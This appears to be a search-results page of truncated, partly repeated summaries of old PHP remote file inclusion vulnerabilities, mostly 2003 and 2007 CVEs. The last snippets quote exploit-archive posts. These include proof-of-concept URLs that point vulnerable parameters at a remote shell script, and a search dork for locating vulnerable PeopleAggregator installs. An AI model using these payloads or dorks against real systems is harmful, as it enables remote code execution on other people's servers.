CVE-2007-5641

CVE-2007-5641 affects PHP Project Management 0.8.10 and earlier. The vulnerability is a remote file inclusion (RFI) weakness allowing an attacker to supply a URL in the full_path parameter to multiple modules (e.g., certinfo, emails, events, files, projects, etc.) to execute arbitrary PHP code on...

Remote file inclusion

Multiple PHP remote file inclusion vulnerabilities in PeopleAggregator 1.2pre6, when registerglobals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the currentblockmodulepath parameter to 1 AudiosMediaGalleryModule/AudiosMediaGalleryModule.php, 2...

CVE-2007-5631

Multiple PHP remote file inclusion vulnerabilities in PeopleAggregator 1.2pre6, when registerglobals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the currentblockmodulepath parameter to 1 AudiosMediaGalleryModule/AudiosMediaGalleryModule.php, 2...

CVE-2007-5631

Vulnerability summary (CVE-2007-5631) : In PeopleAggregator 1.2pre6, multiple PHP remote file inclusion flaws exist when PHP register_globals is enabled. An attacker can abuse the current_blockmodule_path parameter (and related path_prefix usage) to cause arbitrary PHP code execution via modules ...

Remote file inclusion

PHP remote file inclusion vulnerability in content/fnc-readmail3.php in SocketMail 2.2.8 allows remote attackers to execute arbitrary PHP code via a URL in the SOCKETMAILROOT parameter...

Remote file inclusion

PHP remote file inclusion vulnerability in src/scripture.php in The Online Web Library Site TOWels 0.1 allows remote attackers to execute arbitrary PHP code via a URL in the pageHeaderFile parameter...

CVE-2007-5627

PHP remote file inclusion vulnerability in content/fnc-readmail3.php in SocketMail 2.2.8 allows remote attackers to execute arbitrary PHP code via a URL in the SOCKETMAILROOT parameter...

CVE-2007-5628

The CVE-2007-5628 issue affects The Online Web Library Site (TOWels) 0.1, where a PHP remote file inclusion is possible via the pageHeaderFile parameter in src/scripture.php, allowing remote code execution. The underlying cause is a vulnerable inclusion of a URL-specified file without proper vali...

CVE-2007-5627

PHP remote file inclusion vulnerability in content/fnc-readmail3.php in SocketMail 2.2.8 allows remote attackers to execute arbitrary PHP code via a URL in the SOCKETMAILROOT parameter...

CVE-2007-5627

The set of connected documents confirms CVE-2007-5627 affects SocketMail 2.2.8. The vulnerability is a PHP remote file inclusion in content/fnc-readmail3.php, exploitable via a URL in the __SOCKETMAIL_ROOT parameter, allowing an attacker to execute arbitrary PHP code. This is the stated impact in...

CVE-2007-5628

PHP remote file inclusion vulnerability in src/scripture.php in The Online Web Library Site TOWels 0.1 allows remote attackers to execute arbitrary PHP code via a URL in the pageHeaderFile parameter...

CVE-2003-1436

PHP remote file inclusion vulnerability in nukebrowser.php in Nukebrowser 2.1 to 2.5 allows remote attackers to execute arbitrary PHP code via the filhead parameter...

CVE-2003-1459

Multiple PHP remote file inclusion vulnerabilities in ttCMS 2.2 and ttForum allow remote attackers to execute arbitrary PHP code via the 1 template parameter in News.php or 2 installdir parameter in install.php...

CVE-2003-1459

CVE-2003-1459 affects ttCMS 2.2 and ttForum, with multiple PHP remote file inclusion vulnerabilities. The issue allows remote attackers to execute arbitrary PHP code via (1) the template parameter in News.php or (2) the installdir parameter in install.php. Exploitation details indicate that this ...

CVE-2003-1436

The CVE-2003-1436 entry concerns Nukebrowser (versions 2.1–2.5). A PHP remote file inclusion vulnerability exists in nukebrowser.php that allows an attacker to execute arbitrary PHP code via the filhead parameter. This is a classic file inclusion flaw that can lead to remote code execution, with ...

PHP Image 1.2 Multiple Remote File Inclusion Vulnerabilities

Exploit for unknown platform in category web applications ============================================================ PHP Image 1.2 Multiple Remote File Inclusion Vulnerabilities ============================================================ PHP Image v1.2 Multiple Remote File Inclusion Download:...

PHP-Nuke platinum 7.6.b.5 - Remote File Inclusion

PHP-Nuke platinum 7.6.b.5 - Remote File Inclusion ---------------------------------------------- GrEeTs To -=sHaDoW sEcUrItY TeAm=- GrEaTs To ---------------------------------------------- A2J, Chucks, The Pitbull, ICQBomber, str0ke ---------------------------------------------- BiG sHoUt OuT tO...

SocketMail FNC-Readmail3.PHP远程文件包含漏洞

SocketMail是一款基于PHP的WEB应用程序。 SocketMail不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是由于'FNC-Readmail3.PHP'脚本对用户提交的'SOCKETMAILROOT'参数缺少过滤，指定远程服务器上的任意文件作为包含对象，可导致以以WEB权限执行任意命令。 Creative Digital Resources SocketMail 2.2.8 目前没有解决方案提供： http://www.socketmail.com/site/home/...

PHP Image 1.2 - Multiple Remote File Inclusions

PHP Image 1.2 - Multiple Remote File Inclusions PHP Image v1.2 Multiple Remote File Inclusion Download: http://www.phpimage.co.uk/phpimagev12.zip Bug found by Civi Vuln code in xargcorner.php, xargcornerbottom.php, xargcornertop.php: POC: http://site/xargcorner.php?xarg=http://shell.php?...

PeopleAggregator <= 1.2pre6-release-53 Multiple RFI Vulnerabilities

No description provided by source. PeopleAggregator 1.2pre6 Multiple Remote File Inclusion Vulnerabilities http://update.peopleaggregator.org/dist/peopleaggregator-1.2pre6-release-53.tar.gz DORK : "copyright 2006 Broadband Mechanics" POC : /web/Flickrclient.php?pathprefix=shell...